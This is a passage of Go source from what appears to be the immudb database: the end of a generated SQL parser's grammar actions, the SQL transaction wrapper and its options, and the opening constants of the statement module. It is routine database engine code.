yyDollar[1].stmt.(DataSource) } case 57: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.onConflict = nil } case 58: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.onConflict = &OnConflictDo{} } case 59: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.updates = []*colUpdate{yyDollar[1].update} } case 60: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.updates = append(yyDollar[1].updates, yyDollar[3].update) } case 61: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.update = &colUpdate{col: yyDollar[1].id, op: yyDollar[2].cmpOp, val: yyDollar[3].exp} } case 62: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.rows = []*RowSpec{yyDollar[1].row} } case 63: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.rows = append(yyDollar[1].rows, yyDollar[3].row) } case 64: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.row = &RowSpec{Values: yyDollar[2].values} } case 65: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.cols = []*ColSelector{yyDollar[1].col} } case 66: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.cols = append(yyDollar[1].cols, yyDollar[3].col) } case 67: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.values = nil } case 68: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.values = yyDollar[1].values } case 69: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.values = []ValueExp{yyDollar[1].exp} } case 70: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.values = append(yyDollar[1].values, yyDollar[3].exp) } case 71: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.value = &Integer{val: int64(yyDollar[1].integer)} } case 72: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.value = &Float64{val: float64(yyDollar[1].float)} } case 73: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.value = &Varchar{val: yyDollar[1].str} } case 74: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.value = &Bool{val: yyDollar[1].boolean} } case 75: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.value = &Blob{val: yyDollar[1].blob} } case 76: yyDollar = yyS[yypt-6 : yypt+1] { yyVAL.value = &Cast{val: yyDollar[3].exp, t: yyDollar[5].sqlType} } case 77: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.value = yyDollar[1].value } case 78: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.value = &Param{id: yyDollar[1].id} } case 79: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.value = &Param{id: fmt.Sprintf("param%d", yyDollar[1].pparam), pos: yyDollar[1].pparam} } case 80: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.value = &NullValue{t: AnyType} } case 81: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.sqlType = IntegerType } case 82: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.sqlType = BooleanType } case 83: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.sqlType = VarcharType } case 84: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.sqlType = UUIDType } case 85: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.sqlType = BLOBType } case 86: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.sqlType = TimestampType } case 87: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.sqlType = Float64Type } case 88: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.sqlType = JSONType } case 89: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.value = &FnCall{fn: yyDollar[1].id, params: yyDollar[3].values} } case 90: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.tableElems = []TableElem{yyDollar[1].tableElem} } case 91: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.tableElems = append(yyDollar[1].tableElems, yyDollar[3].tableElem) } case 92: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.tableElem = yyDollar[1].colSpec } case 93: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.tableElem = yyDollar[1].check } case 94: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.tableElem = PrimaryKeyConstraint(yyDollar[3].colNames) } case 95: yyDollar = yyS[yypt-6 : yypt+1] { yyVAL.colSpec = &ColSpec{ colName: yyDollar[1].str, colType: yyDollar[2].sqlType, maxLen: int(yyDollar[3].integer), notNull: yyDollar[4].boolean || yyDollar[6].boolean, autoIncrement: yyDollar[5].boolean, primaryKey: yyDollar[6].boolean, } } case 96: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.boolean = false } case 97: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.boolean = true } case 98: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.integer = 0 } case 99: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.integer = yyDollar[2].integer } case 100: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.integer = yyDollar[2].integer } case 101: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.boolean = false } case 102: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.boolean = true } case 103: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.boolean = false } case 104: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.boolean = false } case 105: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.boolean = true } case 106: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.stmt = yyDollar[1].stmt } case 107: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.stmt = &UnionStmt{ distinct: yyDollar[3].distinct, left: yyDollar[1].stmt.(DataSource), right: yyDollar[4].stmt.(DataSource), } } case 108: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.stmt = &SelectStmt{ ds: &FnDataSourceStmt{fnCall: &FnCall{fn: "databases"}}, } } case 109: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.stmt = &SelectStmt{ ds: &FnDataSourceStmt{fnCall: &FnCall{fn: "tables"}}, } } case 110: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.stmt = &SelectStmt{ ds: &FnDataSourceStmt{fnCall: &FnCall{fn: "table", params: []ValueExp{&Varchar{val: yyDollar[3].id}}}}, } } case 111: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.stmt = &SelectStmt{ ds: &FnDataSourceStmt{fnCall: &FnCall{fn: "users"}}, } } case 112: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.stmt = &SelectStmt{ ds: &FnDataSourceStmt{fnCall: &FnCall{fn: "grants"}}, } } case 113: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.stmt = &SelectStmt{ ds: &FnDataSourceStmt{fnCall: &FnCall{fn: "grants", params: []ValueExp{&Varchar{val: yyDollar[4].id}}}}, } } case 114: yyDollar = yyS[yypt-13 : yypt+1] { yyVAL.stmt = &SelectStmt{ distinct: yyDollar[2].distinct, targets: yyDollar[3].targets, ds: yyDollar[5].ds, indexOn: yyDollar[6].colNames, joins: yyDollar[7].joins, where: yyDollar[8].exp, groupBy: yyDollar[9].cols, having: yyDollar[10].exp, orderBy: yyDollar[11].ordexps, limit: yyDollar[12].exp, offset: yyDollar[13].exp, } } case 115: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.stmt = &SelectStmt{ distinct: yyDollar[2].distinct, targets: yyDollar[3].targets, ds: &valuesDataSource{rows: []*RowSpec{{}}}, } } case 116: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.distinct = true } case 117: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.distinct = false } case 118: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.distinct = false } case 119: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.distinct = true } case 120: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.targets = nil } case 121: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.targets = yyDollar[1].targets } case 122: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.targets = []TargetEntry{{Exp: yyDollar[1].exp, As: yyDollar[2].id}} } case 123: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.targets = append(yyDollar[1].targets, TargetEntry{Exp: yyDollar[3].exp, As: yyDollar[4].id}) } case 124: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.sel = yyDollar[1].col } case 125: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.sel = &JSONSelector{ColSelector: yyDollar[1].col, fields: yyDollar[2].jsonFields} } case 126: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.sel = &AggColSelector{aggFn: yyDollar[1].aggFn, col: "*"} } case 127: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.sel = &AggColSelector{aggFn: yyDollar[1].aggFn, table: yyDollar[3].col.table, col: yyDollar[3].col.col} } case 128: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.jsonFields = []string{yyDollar[2].str} } case 129: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.jsonFields = append(yyVAL.jsonFields, yyDollar[3].str) } case 130: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.col = &ColSelector{col: yyDollar[1].str} } case 131: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.col = &ColSelector{table: yyDollar[1].str, col: yyDollar[3].str} } case 134: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.str = yyDollar[1].keyword } case 135: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.colNames = []string{yyDollar[1].str} } case 136: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.colNames = append(yyDollar[1].colNames, yyDollar[3].str) } case 137: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.colNames = []string{yyDollar[1].str} } case 138: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.colNames = yyDollar[2].colNames } case 139: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.colNames = nil } case 140: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.colNames = yyDollar[2].colNames } case 152: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.str = yyDollar[1].id } case 153: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.str = string(yyDollar[1].keyword) } case 186: yyDollar = yyS[yypt-3 : yypt+1] { yyDollar[1].tableRef.period = yyDollar[2].period yyDollar[1].tableRef.as = yyDollar[3].id yyVAL.ds = yyDollar[1].tableRef } case 187: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.ds = &valuesDataSource{inferTypes: true, rows: yyDollar[3].rows} } case 188: yyDollar = yyS[yypt-4 : yypt+1] { yyDollar[2].stmt.(*SelectStmt).as = yyDollar[4].id yyVAL.ds = yyDollar[2].stmt.(DataSource) } case 189: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.ds = &FnDataSourceStmt{fnCall: &FnCall{fn: "databases"}, as: yyDollar[4].id} } case 190: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.ds = &FnDataSourceStmt{fnCall: &FnCall{fn: "tables"}, as: yyDollar[4].id} } case 191: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.ds = &FnDataSourceStmt{fnCall: &FnCall{fn: "table", params: []ValueExp{&Varchar{val: yyDollar[3].id}}}} } case 192: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.ds = &FnDataSourceStmt{fnCall: &FnCall{fn: "users"}, as: yyDollar[4].id} } case 193: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.ds = &FnDataSourceStmt{fnCall: yyDollar[1].value.(*FnCall), as: yyDollar[2].id} } case 194: yyDollar = yyS[yypt-6 : yypt+1] { yyVAL.ds = &tableRef{table: yyDollar[4].id, history: true, as: yyDollar[6].id} } case 195: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.tableRef = &tableRef{table: yyDollar[1].str} } case 196: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.period = period{start: yyDollar[1].openPeriod, end: yyDollar[2].openPeriod} } case 197: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.openPeriod = nil } case 198: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.openPeriod = &openPeriod{inclusive: true, instant: yyDollar[2].periodInstant} } case 199: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.openPeriod = &openPeriod{instant: yyDollar[2].periodInstant} } case 200: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.openPeriod = nil } case 201: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.openPeriod = &openPeriod{inclusive: true, instant: yyDollar[2].periodInstant} } case 202: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.openPeriod = &openPeriod{instant: yyDollar[2].periodInstant} } case 203: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.periodInstant = periodInstant{instantType: txInstant, exp: yyDollar[2].exp} } case 204: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.periodInstant = periodInstant{instantType: timeInstant, exp: yyDollar[1].exp} } case 205: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.joins = nil } case 206: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.joins = yyDollar[1].joins } case 207: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.joins = []*JoinSpec{yyDollar[1].join} } case 208: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.joins = append([]*JoinSpec{yyDollar[1].join}, yyDollar[2].joins...) } case 209: yyDollar = yyS[yypt-6 : yypt+1] { yyVAL.join = &JoinSpec{joinType: yyDollar[1].joinType, ds: yyDollar[3].ds, indexOn: yyDollar[4].colNames, cond: yyDollar[6].exp} } case 210: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.joinType = InnerJoin } case 211: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.joinType = yyDollar[1].joinType } case 212: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.exp = nil } case 213: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.exp = yyDollar[2].exp } case 214: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.cols = nil } case 215: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.cols = yyDollar[3].cols } case 216: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.exp = nil } case 217: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.exp = yyDollar[2].exp } case 218: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.exp = nil } case 219: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.exp = yyDollar[2].exp } case 220: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.exp = nil } case 221: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.exp = yyDollar[2].exp } case 222: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.ordexps = nil } case 223: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.ordexps = yyDollar[3].ordexps } case 224: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.colNames = nil } case 225: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.colNames = yyDollar[4].colNames } case 226: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.ordexps = []*OrdExp{{exp: yyDollar[1].exp, descOrder: yyDollar[2].opt_ord}} } case 227: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.ordexps = append(yyDollar[1].ordexps, &OrdExp{exp: yyDollar[3].exp, descOrder: yyDollar[4].opt_ord}) } case 228: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.opt_ord = false } case 229: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.opt_ord = false } case 230: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.opt_ord = true } case 231: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.id = "" } case 232: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.id = yyDollar[1].str } case 233: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.id = yyDollar[2].str } case 234: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.check = CheckConstraint{exp: yyDollar[2].exp} } case 235: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.check = CheckConstraint{name: yyDollar[2].id, exp: yyDollar[4].exp} } case 236: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.exp = nil } case 237: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.exp = yyDollar[1].exp } case 238: yyDollar = yyS[yypt-5 : yypt+1] { yyVAL.exp = &CaseWhenExp{ exp: yyDollar[2].exp, whenThen: yyDollar[3].whenThenClauses, elseExp: yyDollar[4].exp, } } case 239: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.whenThenClauses = []whenThenClause{{when: yyDollar[2].exp, then: yyDollar[4].exp}} } case 240: yyDollar = yyS[yypt-5 : yypt+1] { yyVAL.whenThenClauses = append(yyDollar[1].whenThenClauses, whenThenClause{when: yyDollar[3].exp, then: yyDollar[5].exp}) } case 241: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.exp = nil } case 242: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.exp = yyDollar[2].exp } case 243: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.exp = yyDollar[1].exp } case 244: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.exp = &BinBoolExp{left: yyDollar[1].exp, op: Or, right: yyDollar[3].exp} } case 246: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.exp = &BinBoolExp{left: yyDollar[1].exp, op: And, right: yyDollar[3].exp} } case 248: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.exp = &NotBoolExp{exp: yyDollar[2].exp} } case 250: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.exp = &CmpBoolExp{left: yyDollar[1].exp, op: yyDollar[2].cmpOp, right: yyDollar[3].exp} } case 251: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.exp = &CmpBoolExp{left: yyDollar[1].exp, op: EQ, right: &NullValue{t: AnyType}} } case 252: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.exp = &CmpBoolExp{left: yyDollar[1].exp, op: NE, right: &NullValue{t: AnyType}} } case 253: yyDollar = yyS[yypt-5 : yypt+1] { yyVAL.exp = &BinBoolExp{ left: &CmpBoolExp{ left: yyDollar[1].exp, op: GE, right: yyDollar[3].exp, }, op: And, right: &CmpBoolExp{ left: yyDollar[1].exp, op: LE, right: yyDollar[5].exp, }, } } case 254: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.exp = &LikeBoolExp{val: yyDollar[1].exp, notLike: yyDollar[2].boolean, pattern: yyDollar[4].exp} } case 255: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.exp = &LikeBoolExp{val: yyDollar[1].exp, notLike: true, pattern: yyDollar[3].exp} } case 257: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.exp = &ExistsBoolExp{q: (yyDollar[3].stmt).(DataSource)} } case 258: yyDollar = yyS[yypt-6 : yypt+1] { yyVAL.exp = &InSubQueryExp{val: yyDollar[1].exp, notIn: yyDollar[2].boolean, q: yyDollar[5].stmt.(*SelectStmt)} } case 259: yyDollar = yyS[yypt-6 : yypt+1] { yyVAL.exp = &InListExp{val: yyDollar[1].exp, notIn: yyDollar[2].boolean, values: yyDollar[5].values} } case 260: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.exp = yyDollar[1].exp } case 262: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.exp = &NumExp{left: yyDollar[1].exp, op: ADDOP, right: yyDollar[3].exp} } case 263: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.exp = &NumExp{left: yyDollar[1].exp, op: SUBSOP, right: yyDollar[3].exp} } case 265: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.exp = &NumExp{left: yyDollar[1].exp, op: MULTOP, right: yyDollar[3].exp} } case 266: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.exp = &NumExp{left: yyDollar[1].exp, op: DIVOP, right: yyDollar[3].exp} } case 267: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.exp = &NumExp{left: yyDollar[1].exp, op: MODOP, right: yyDollar[3].exp} } case 269: yyDollar = yyS[yypt-2 : yypt+1] { i, isInt := yyDollar[2].exp.(*Integer) if isInt { i.val = -i.val yyVAL.exp = i } else { yyVAL.exp = &NumExp{left: &Integer{val: 0}, op: SUBSOP, right: yyDollar[2].exp} } } case 271: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.exp = yyDollar[2].exp } case 273: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.exp = yyDollar[1].sel } case 274: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.exp = yyDollar[1].value } case 275: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.exp = &Cast{val: yyDollar[1].exp, t: yyDollar[3].sqlType} } case 276: yyDollar = yyS[yypt-6 : yypt+1] { yyVAL.exp = &ExtractFromTimestampExp{Field: yyDollar[3].timestampField, Exp: yyDollar[5].exp} } case 277: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.boolean = false } case 278: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.boolean = true } case 279: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.timestampField = TimestampFieldTypeYear } case 280: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.timestampField = TimestampFieldTypeMonth } case 281: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.timestampField = TimestampFieldTypeDay } case 282: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.timestampField = TimestampFieldTypeHour } case 283: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.timestampField = TimestampFieldTypeMinute } case 284: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.timestampField = TimestampFieldTypeSecond } } goto yystack /* stack new state and value */ } ================================================ FILE: embedded/sql/sql_tx.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package sql import ( "context" "errors" "os" "time" "github.com/codenotary/immudb/embedded/multierr" "github.com/codenotary/immudb/embedded/store" ) // SQLTx (no-thread safe) represents an interactive or incremental transaction with support of RYOW type SQLTx struct { engine *Engine opts *TxOptions tx *store.OngoingTx tempFiles []*os.File catalog *Catalog // in-mem catalog mutatedCatalog bool // set when a DDL stmt was executed within the current tx updatedRows int lastInsertedPKs map[string]int64 // last inserted PK by table name firstInsertedPKs map[string]int64 // first inserted PK by table name txHeader *store.TxHeader // header is set once tx is committed onCommittedCallbacks []onCommittedCallback } type onCommittedCallback = func(sqlTx *SQLTx) error func (sqlTx *SQLTx) Catalog() *Catalog { return sqlTx.catalog } func (sqlTx *SQLTx) IsExplicitCloseRequired() bool { return sqlTx.opts.ExplicitClose } func (sqlTx *SQLTx) RequireExplicitClose() error { if sqlTx.updatedRows != 0 { return store.ErrIllegalState } sqlTx.opts.ExplicitClose = true return nil } func (sqlTx *SQLTx) Timestamp() time.Time { return sqlTx.tx.Timestamp() } func (sqlTx *SQLTx) UpdatedRows() int { return sqlTx.updatedRows } func (sqlTx *SQLTx) LastInsertedPKs() map[string]int64 { return sqlTx.lastInsertedPKs } func (sqlTx *SQLTx) FirstInsertedPKs() map[string]int64 { return sqlTx.firstInsertedPKs } func (sqlTx *SQLTx) TxHeader() *store.TxHeader { return sqlTx.txHeader } func (sqlTx *SQLTx) sqlPrefix() []byte { return sqlTx.engine.prefix } func (sqlTx *SQLTx) distinctLimit() int { return sqlTx.engine.distinctLimit } func (sqlTx *SQLTx) newKeyReader(rSpec store.KeyReaderSpec) (store.KeyReader, error) { return sqlTx.tx.NewKeyReader(rSpec) } func (sqlTx *SQLTx) get(ctx context.Context, key []byte) (store.ValueRef, error) { return sqlTx.tx.Get(ctx, key) } func (sqlTx *SQLTx) set(key []byte, metadata *store.KVMetadata, value []byte) error { return sqlTx.tx.Set(key, metadata, value) } func (sqlTx *SQLTx) setTransient(key []byte, metadata *store.KVMetadata, value []byte) error { return sqlTx.tx.SetTransient(key, metadata, value) } func (sqlTx *SQLTx) getWithPrefix(ctx context.Context, prefix, neq []byte) (key []byte, valRef store.ValueRef, err error) { return sqlTx.tx.GetWithPrefix(ctx, prefix, neq) } func (sqlTx *SQLTx) Cancel() error { defer sqlTx.removeTempFiles() return sqlTx.tx.Cancel() } func (sqlTx *SQLTx) Commit(ctx context.Context) error { defer sqlTx.removeTempFiles() err := sqlTx.tx.RequireMVCCOnFollowingTxs(sqlTx.mutatedCatalog) if err != nil { return err } // no need to wait for indexing to be up to date during commit phase sqlTx.txHeader, err = sqlTx.tx.AsyncCommit(ctx) if err != nil && !errors.Is(err, store.ErrNoEntriesProvided) { return err } merr := multierr.NewMultiErr() for _, onCommitCallback := range sqlTx.onCommittedCallbacks { err := onCommitCallback(sqlTx) merr.Append(err) } return merr.Reduce() } func (sqlTx *SQLTx) Closed() bool { return sqlTx.tx.Closed() } func (sqlTx *SQLTx) delete(ctx context.Context, key []byte) error { return sqlTx.tx.Delete(ctx, key) } func (sqlTx *SQLTx) addOnCommittedCallback(callback onCommittedCallback) error { if callback == nil { return ErrIllegalArguments } sqlTx.onCommittedCallbacks = append(sqlTx.onCommittedCallbacks, callback) return nil } func (sqlTx *SQLTx) createTempFile() (*os.File, error) { tempFile, err := os.CreateTemp("", "immudb") if err == nil { sqlTx.tempFiles = append(sqlTx.tempFiles, tempFile) } return tempFile, err } func (sqlTx *SQLTx) removeTempFiles() error { for _, file := range sqlTx.tempFiles { err := file.Close() if err != nil { return err } err = os.Remove(file.Name()) if err != nil { return err } } return nil } func (sqlTx *SQLTx) ListUsers(ctx context.Context) ([]User, error) { if sqlTx.engine.multidbHandler == nil { return nil, ErrUnspecifiedMultiDBHandler } return sqlTx.engine.multidbHandler.ListUsers(ctx) } ================================================ FILE: embedded/sql/sql_tx_options.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package sql import ( "fmt" "time" "github.com/codenotary/immudb/embedded/store" ) type TxOptions struct { ReadOnly bool SnapshotMustIncludeTxID func(lastPrecommittedTxID uint64) uint64 SnapshotRenewalPeriod time.Duration ExplicitClose bool UnsafeMVCC bool Extra []byte } func DefaultTxOptions() *TxOptions { txOpts := store.DefaultTxOptions() return &TxOptions{ ReadOnly: txOpts.Mode == store.ReadOnlyTx, SnapshotMustIncludeTxID: txOpts.SnapshotMustIncludeTxID, SnapshotRenewalPeriod: txOpts.SnapshotRenewalPeriod, ExplicitClose: false, // commit or rollback explicitly required UnsafeMVCC: false, // mvcc restricted to catalog changes } } func (opts *TxOptions) Validate() error { if opts == nil { return fmt.Errorf("%w: nil options", store.ErrInvalidOptions) } return nil } func (opts *TxOptions) WithReadOnly(readOnly bool) *TxOptions { opts.ReadOnly = readOnly return opts } func (opts *TxOptions) WithSnapshotMustIncludeTxID(snapshotMustIncludeTxID func(lastPrecommittedTxID uint64) uint64) *TxOptions { opts.SnapshotMustIncludeTxID = snapshotMustIncludeTxID return opts } func (opts *TxOptions) WithSnapshotRenewalPeriod(snapshotRenewalPeriod time.Duration) *TxOptions { opts.SnapshotRenewalPeriod = snapshotRenewalPeriod return opts } func (opts *TxOptions) WithExplicitClose(explicitClose bool) *TxOptions { opts.ExplicitClose = explicitClose return opts } func (opts *TxOptions) WithUnsafeMVCC(unsafeMVCC bool) *TxOptions { opts.UnsafeMVCC = unsafeMVCC return opts } func (opts *TxOptions) WithExtra(data []byte) *TxOptions { opts.Extra = data return opts } ================================================ FILE: embedded/sql/stmt.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package sql import ( "bytes" "context" "encoding/binary" "encoding/hex" "errors" "fmt" "math" "regexp" "strconv" "strings" "time" "github.com/codenotary/immudb/embedded/store" "github.com/google/uuid" ) const ( catalogPrefix = "CTL." catalogTablePrefix = "CTL.TABLE." // (key=CTL.TABLE.{1}{tableID}, value={tableNAME}) catalogColumnPrefix = "CTL.COLUMN." // (key=CTL.COLUMN.{1}{tableID}{colID}{colTYPE}, value={(auto_incremental | nullable){maxLen}{colNAME}}) catalogIndexPrefix = "CTL.INDEX." // (key=CTL.INDEX.{1}{tableID}{indexID}, value={unique {colID1}(ASC|DESC)...{colIDN}(ASC|DESC)}) catalogCheckPrefix = "CTL.CHECK." // (key=CTL.CHECK.{1}{tableID}{checkID}, value={nameLen}{name}{expText}) catalogPrivilegePrefix = "CTL.PRIVILEGE." // (key=CTL.COLUMN.{1}{tableID}{colID}{colTYPE}, value={(auto_incremental | nullable){maxLen}{colNAME}}) RowPrefix = "R." // (key=R.{1}{tableID}{0}({null}({pkVal}{padding}{pkValLen})?)+, value={count (colID valLen val)+}) MappedPrefix = "M." // (key=M.{tableID}{indexID}({null}({val}{padding}{valLen})?)*({pkVal}{padding}{pkValLen})+, value={count (colID valLen val)+}) ) const ( DatabaseID = uint32(1) // deprecated but left to maintain backwards compatibility PKIndexID = uint32(0) ) const ( nullableFlag byte = 1 << iota autoIncrementFlag byte = 